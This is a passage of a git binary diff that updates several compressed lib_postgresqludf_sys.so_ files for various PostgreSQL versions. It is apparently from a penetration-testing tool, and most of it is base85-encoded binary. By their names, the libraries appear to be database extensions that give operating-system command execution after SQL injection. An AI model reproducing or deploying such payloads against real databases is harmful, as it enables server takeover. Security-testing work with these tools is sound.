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 diff --git a/data/udf/postgresql/linux/32/11/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/11/lib_postgresqludf_sys.so_ index c56d766209ac4b56a3d8ba4f6e211adb7fa60c7d..7ece1b633c9c4d01f189d9ad4a8082af3713977c 100644 GIT binary patch literal 2640 zcmV-W3a|AK?%r=MAX=ex?4>^+<~_7^c02ARP6Q+{J~#ruh^5>8?z0wNr(mysg336ba+@WkN)-dqoJ z0PG@TYn_ICe3phind4?i8k&+DFsHrv$}k@!``0kY&Kwj|nHuZVq^tT8*PxvCjS-9{Zg zO8rV(VL>UsPo09yvIx`90cy;a-m6Gs%S(%&%ZjK}o_yTcrvoLy%5yo~vLN?*H*&0( z*hIexAjwAnGwwL$yo`sS%FmRT2mcPwiDWfv)yzYzC+dY@(j>+7UT=r$%M?=HW7(Q; ze$tj{hU~&DxlTSQqZGbdk*~s=`uVWv2-Wkk9(`#EL>d*pNQJ(%Zk!njvyJa7^WPlW zx`va0G8S&w|&Mlev&Tt%!@TjAx%tecz*@RE>VCK7wqYy40 ziOAE6ZY}9U;v|K&X>SMFv#Dyt$ak6U>gLR%xA9sX&BObOir&CToM^1P;+Ft37Sr#- ztOft7$$fi*(T40PCYUdC_2$zf(p3LBgNcNzF^xCvn3(Um!pt)g*Z#>)K`-6jJ>FZW z`5?t4-MkDqWzCU=Eyk2k9)?3RW_y*PnbRJNcNZqkHXHP#Ap5n+-Jv zUK106S1Rd4JXQ9{UVM^WkW20pLssxq*3TY-@MRDCfD#h%?U;FaSV42n)KM1ExQOOm z>?ta=iiD(Wp$qdSd@5DFKuZ-b_<`-_{Sdq{pnBA^Hpe^V`-W$Rms0kFp-s9biUjJ_ zo`U6%S2w9-d)(7~&mi3@DKwp66tE_)oYu}@lKOwnv9Au<(pG^iN|k|4_soV3+@A6G z>=HGw!8@5|%z{VwAY~Y-Uw$KGgdtE_!yu6dkg63;@p4+1i$Hqo%<>PPPM}Mgt&!93 zE(kfdtZ*nSs%pf0p?1E6di<%TE3pTS2RSb_czCU-n(OU8nIxvYEXkHUprB7*n8Pix zYpT?l5Z~7dlUzDkkIJq(aG!O#n+fYj~eGRZlev=ooJfX`oY3;tq}+|Q@C6WHhUF7LXn5`TvGBgMb-cgBmT_n#Zd4veslB%t(%c>a`usR-W1Lwhi#`OrlM$njSS)Nh0+P zxNQ^VQ*2z<5A7^Sg=_d2|JO$V{ioM%`PI z*-dSytyc{rEG(eBd&|z^O}DjU6L-r#aIx~v4nLr~-@&Ow^WiYckoL*+-mqp~{oc?r z0(+?mVC2Ria7RScq?0lqHLyo^v-wTI(AUNmjMW~8#CKmzFHe8?Gi$G<jeLsr+i|i3?Xe&e<6;-u(dj{$18>|H zxqF{c4IT)*vy|c;B3mZ5#j8mq+H;t#hHI$vETzc$+famer2OlYhsWeLa;ndz)YkKO zDP_`dhkGg*=iba7KppaAzxK>*4n?R?R;*UxbN3?6EyO9dDefxRZ&w59$ntoT8Dwx#e9(5F{g2IUf6MHd@y{@7u4@tQ5z9M|)TJJdk zZC5Qzwa-`x)*D@5qmTxXW=&H3Nd?h`svbYF6YidkPU^STv^a^QHj>)|S0EtY&iv1I z!b;IETU>HBDA)Kc%uoI?@vb9vvC86JtijMfR+>KPRvicofjO*4 zKB#+hEaQ8~`^SjL$m1s2Nj^a)Hgv4buKd=c*@!z1^{*BRWSC8Bv#*Vc{jNC+ zf}OlSf1!mfcW*!%Y(9b%4n%z&Ejy^9gB$Mgnox+a{OJah#-8;E9T(2~OLj%hox1Luzb6&& z-S^a1(B`-^=8)Q!sda5;14LPC3Px61GB62xZYVTnhUYAd8PmmuzsSjG%)HcDhDX#* zJ~RP1hs$YYjWrY(v*^>ne@`X-QQAprIec5ZJ`z8VJRg%tu(G$7(X2T23P17#-6%t5 zVny)0XaWq*TV+KKThkh*?B)6-i!>gG0F;N8L2RnoZ*MWG)$ww&s3%DuwHR?*q_?<- zHZCo$El_8W4L|)om*`Dl2s5L`cpGIAnD1%eynAvoE#_ilT*X~^B^7I*NK``LDMP)p zj)m;EYymh literal 2640 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 diff --git a/data/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_ index 3fb236e2644ebc916f5b9fe0823c8d318ee5e199..6816064fa49d7e1670530e6fde9f7aab31d4ea90 100644 GIT binary patch literal 2018 zcmV<82Oani?zUk%98!UFttm!;VqrQuWr?;90{auY);0Tk#4Z_j?j36uX>2w#6j_|u z*FU#viSH8>!febJw@qM4>_+8tCti;XxkEYFz@7RaSJ1yE{cCv30ezoQ-i!bpftu-m!77^{) zhD-pOXJwvYY3sL)p@lqaW_eB_p#H^2R%^<>cpW9lTeCCqZ=la=5as`c9Wl>i*i>@I zn*qwX=dLb~=X8!=v{F`bjY;e9Uk{&qC?OutZ7IK9u<*!nO6x6MfeXvj$h|2H1;)z5t z{nrnWh8jAU&A!fb+O}~E$rGemlzkvit#Zm^sk;7l!AMuNlXmOV3Wnl4#4++2bAsgz zo5lUuV@$2RaEx8Tq~gA7L0$5;&uV?US7C@s3*4Q!ieyd1^4!B0h(O!nEwo+W|Jp03 ze9sl94#9!wf!!sE5@9R2kRjH73AhMrs(58n5fc8!Je4G2sFIICh zUPS%ymZqShZ0M~_&$fiSQJ6MXOBqf7fRj^7Gk6x&++Kdm^~&^=H&8;5)J!Mn!KEh_ zLl*3=-Bl1?pfk=4#_3IpBN~(eb!=KlpcY>-uz@}Dux(H@q%e#BCJfSC_Zh8NRQUOK z&uj4`p3qmp1yIL^YnSWg_G*sXHxis?+GBV$<4A5nN`qQ;y2A{Eq_;apJGGxba6IeK zN_cSG9NFxYJ>6U_#3S7b_<%gHOQ~Y9e(0Kx>OHzrv^o-UhE&EZ@GoX$qrs z>B0SwOk$dS{Us#I7#aj}hVaDL*!i+s7RSf-6&4rpG1MMsOna5(&$324FWTX`!?Nbf zCSi>FzAL>=t+P6Cw~)RiJ8Y`xT0RR@M?p99ND(T<1HmROY=SBH?0(QqlYVp_L5|D0 zTty&AcWk>TQ}OCL*FkZLe{&KLU(~a0Ogm4G*Gi5|77wnPC+4>VYC|KP7g_h#I-tRk zKU1-Q*v?WXW9=k<$^aL)8cs-HPA@9{BmUv%zA1kH80yjYFp0V z20|dbiN&*Ehq8S8>@tJk7nx69Ot@4FflxyMJf=R0w_?+}@DW=!M27uUwUrhpX{w7F zsS2Af=tYm{MY}J@>03O2_n^TZ(MfL~(NN#&zTfn`I2Ymx04W;ERn#BuLu@dcc?NZX z&(km_z2EcbvYl5~h(ebc=h>9(bzQOl1k@{)yZ(ah{R4D-nCG`6H8FU!3M482vaC92oZP(bOfsQ(i-Ac(_&D1VirTi`e6eJXY zu$e*Q%bNeDQoq;{!)qzygOC3GfbQ~Gi|fp*X(WQDyHg3BbUE#UZIc}l&JqM8=tM@$kxNBt0VRM{p=_SKTtvY7&7rYYYso~fY7c*_}B*T(7eR#I=_ zVY~!@_VSSPAI^N2gj8<6=N8DJkEk!v#FT$_JR70m#@#=Gj5of(idMpM4RSo)zm_GD zkCwTL8!+MuKMl3Vq|6-oOfRsDP7kAaVCukaJ+H8P~hlEeJSImOepr{GB7Eqr2JnFI`+mh2cy%F2TbMusanO#O@G zggDBcTEf|s|3i^*rOngOl_l_eok+~!tstuJ*f-h%KV=%O8Bv-tNeKPBVW8)jETDY` AkN^Mx literal 2018 zcmV<82Oao5s`3RL8gsKHwp@9KZA3%}AMsS((9 zw_(V+EtdKNM+xxo_jskY=zyu*iHHB+^sTteGzg?oGWH8Kc$CzAkXp_lq7YZ^QdNom zfNe6%d=Q~#X3ojJ<-u4?U|4)`yNmijSx&T!JXt~RU6KKybk*=}AHadPS#_&K-gQ8h zfOPe~=!;OjqcG}tvU6m|Tm53^;j>uP!&gb`IZ7Ba`%J+}txot)(j2xqU79hV8=!z= z{4mfp;3AZo?3=6NXSq*Bz-O2A^Z+gNIJL`i*}%%n99XG5_d+ww0QtGq_|W>au-7ojiRZW7T#zpilFQQW;V@3Mm36tC zLC&L0i-efw*(|k3?s>2MbXR&?w_vU;4#=zDg|Vq?wjfeh+m^Uchtep|5#1Va#cKI6 z%nMsX89qfkW`fpW5e#AtxZaWXwOYb#M8ji-->sl1IyEkS_o>Pf#Ih;hdb-J-G$Twk zQDK9^(&EI0YRR7+)Wf^HUcE?U4_ztPhO%KBC=Dsn(|Z8!Fg&p8mjXI}6ob4_R&yJKKBzobLJ^eHqGq7k{SJ$db0_&n2U5WJmG z$x6d=g{5f53U#@(FVm00@JqakEN7!()kX#erwj^aOrmHcp|&%GtCB@@fARYmb{*M) zQ4LSq6a12(Zc(ZLBp8dVP z=tbrwNX2Vl*GgD-X#7Kt8lO8qXeoJuF|1_K^2Ul#Pfqn6`-aRQ*e9I{H>!cVW-r}F zt%aGlN<*kD=1?2W7e9JH!nC0O-q?T&4YK(08Z&9ab&z^MN?ND1)W>-|Apf6>hxUT( zAV9vWrCx$cqLxHL^VHe`Jx!RoK}$4KNMuRD3{_6z1>h8XclQ?m<6EwO*E$e6N3Z$l zM=&2xcuB$H9Nl26!@)Qy%c~Pupr92}oZanJ5Sj;`G++|!=`h2e%*Q@^<{5@4^jQNMP z2BQTBPl$!QGE`M*&~HN#joloTxEYBqg;#!1t?qrvGx2)s=LcE{!(S8?acjS2YJzcC4D4`OL!Bx)#S|wdI)@C{tQYLP|1>280K%Dav$Q03a^JKa zrZ43ktO4uKLz*3y@-731_=UeLl?@9x*KzH;rK-!jH!_?%L~VZUQ}r#sSQ!tTb|VY3 zihiB<4qn+@}b9{rYAE6YIwA=jOp%Iv@w_76ky02pA=YyF97r%}R z38i#Ae6c(wTMU0XVX&UuA5|*jU+nsle^F%bDU-Z|hp!0T#y|F2!tqdP;kZgA5(OsF ztL%Q{#J_=*7W=$5#Y!8pnEJu`kIRf|&#$PAZw0XSpe8n&dmNLnr_%Fvr+GB##UZv8 z6N#zb==y;gx%qm7mc3c`7%b#W9UgsdJ>fiommtnsCvlR%9SGEHJE>S({1_Zo-18|< ztwM!b$>A@Im&mW+<$;|C(CnKD9loEn)1&;Lqy~%0xu{GoIdOBU14qt0WGg|!pzHe{ zA2f5UTM6UEHZ6eO*klPQ(5x}q9Si?<+)YQGm*@%@B6@;(!@J4WZtCHeBrB;**&l?w zx~B}#dA~$#_^oVK(>e7z7GB5$$5T?Z$k2P<0|AXqhPoO>z@(vGL%Op8^wA<$SC;DL z2@J;EOt6lZWd^hI458I(wJRj>}-*zEH%;qUe+7T{Pe(Ea;%(K?>S$7fB zCHP>c@YABA1iM3!i*XQ)qf)GfiHRM6-{C-UGd|zbf|*;UiWZEKkt6+e0#`!s`_e(S ziMNZ}07cymPsxgt=OR_q3|!I6#kDndr={&fWr%}E=QZro#ul2eSx=BwpEqr*Ak>Ndm(;_A8@E+Qhma_ZiShuXt{g+ A9{>OV diff --git a/data/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_ index d734fff00ae1e9781ce2fbc18f8c39c1383f5e9d..0e79dbb195ab91e4e831fe289be943f6da4465f1 100644 GIT binary patch literal 2016 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 diff --git a/data/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_ index da50fa8eafc60628bb5e65f2eafecae813063e33..bb2aaf8ba914da651be628e4cf546481ba0db055 100644 GIT binary patch literal 2020 zcmVr0(hvidTtf08-6!{Fc;b5f4cx@gp{1yjj zA%PR7y;Z4_KoI$+Kc$O|N!02#zjT@3A?Tsy4UrNyVyi=-lSZ%k--a(Jm^kwt>iZ~; z=1jnmNFKWu=BD+UEAAX?W*JT)SpLMrm!k^7_;|cD5%PZ1r;Uh-h!bsrHFJnSGEVmh z;Nt!pRn;;HXColQY(s=$qgdL|HrY7SVAoft-&t5<3pThw&tz?NfPRE%R}gU+=a9qG^TEZYKcpEIuTJPXfs|ezxy#&Ak2a2Wr-M79Bi$rGem)Quuft$RwtyiBqxn~ByuL#G2?EDp~~LB?iIbjXpA z8UEO9gT%ku@-btD4ScL_)Bz}~>BdqT6S%3U3kbX;ZK{tvi)|Ug&6#jnSUA$(-hG6B zij?yBK&BbA1jxZ6ZIWM3E-}hwcb7R~tvSAR=aK2Rz0~gdR5f|2DAl*mgpW6iX3x3R zO|A;5l-j@a4V^HrbIyU(P1Zvm+fwcKiG!{Lw8#gg^;Nh<`;cvzL8l-%CZZB!RkL(! z!An{sl#Im}p&&e|!_b0*Ipu8qL2_r48eslb+ki*6fE2Gj9AIj`W!%O07)A`5kYzS2 zD)7U<`39Lh5<)}TP)eoil4o`WCdESL<`N*I%&&Mc9rjFEfwq!Fue@ha zKIkF4JqdAT0Lzt0mY_d9cv*b7xg4RlW2<6-)w4}Z_2z4018-o7A^PhA_^r7khV?V- z0F}Nb_0$#nqCD=0_VcS{7`sMAF3*0Xwynn}d|Q0+g6y)ubydN@ zP1CMJ?h;JvGPjR9+(B`QeieQ$Lzs7ZjWfg(SWbp`77wn9M4J6+)H-^&KIQ9^f7$oM2o7Z33}p6bKdWemrDYO9??UbvX-& zh}){FijtNI-nAL3QM9gAJt9GFi~>l6_(^}MyaS#zob!v4)!p(;1TK`>ZG53yYv5pd zu^96m8|3YtaMoknnNb{A4?e3w)?`v%U}^*Vzvxbz%q;Hor)ukf*>zP{iH>=U_-%%l z7*Nlj`5gwRxMLC2H~lUGsOKclGa~Jf&hNO246mPLXH>^TW35g6X_EAS(844WUutcb zaK%NCtLqjbjhvo&>CTlujPEGGO$6Hhr$P^~F$#i(6T=ecA@iD-P}IAC=>o@}*f7iE9jrHkaa%wmmNB>9jU)Tf4ngplPn=YsvfIub_E&?Kicjl#x7>Ky*?2yo^tTTB`EWR|wQDCV1?%g;7d(BiQGBop@pS z3HRg-XJzMhaJI|})DT~~%a*;r&3p{Es4^qol8AFy>KzX&+STcGnD{6=jekpD3GE?; z1>luOuaC4tK1yksQ?JB^u;1#3XzqFeS;wVB7{3F&kDZ4Qqoh)8q#!|i$(=K0@Yu&~ C=KkLR literal 2020 zcmV1cA;n z_ayNPTAQ_OPFS240<>%dChsSQm1mu(#Pbj@mmQ5SuD?vF z;BE52Q)`3~>4S@?Z>o4qU^skmLyP;wn1*!oygb+w7t>6Fy!f|{hc*+laX0K|G;hUO z`5jJ zX%CnjgVvB8%Pf zOOH7CkFS990=Q0{H;U!+OZRb4z$eo1hNjRq@Qh=E^K^<7;N?=EPJ&(vV&-;4Q<6qH 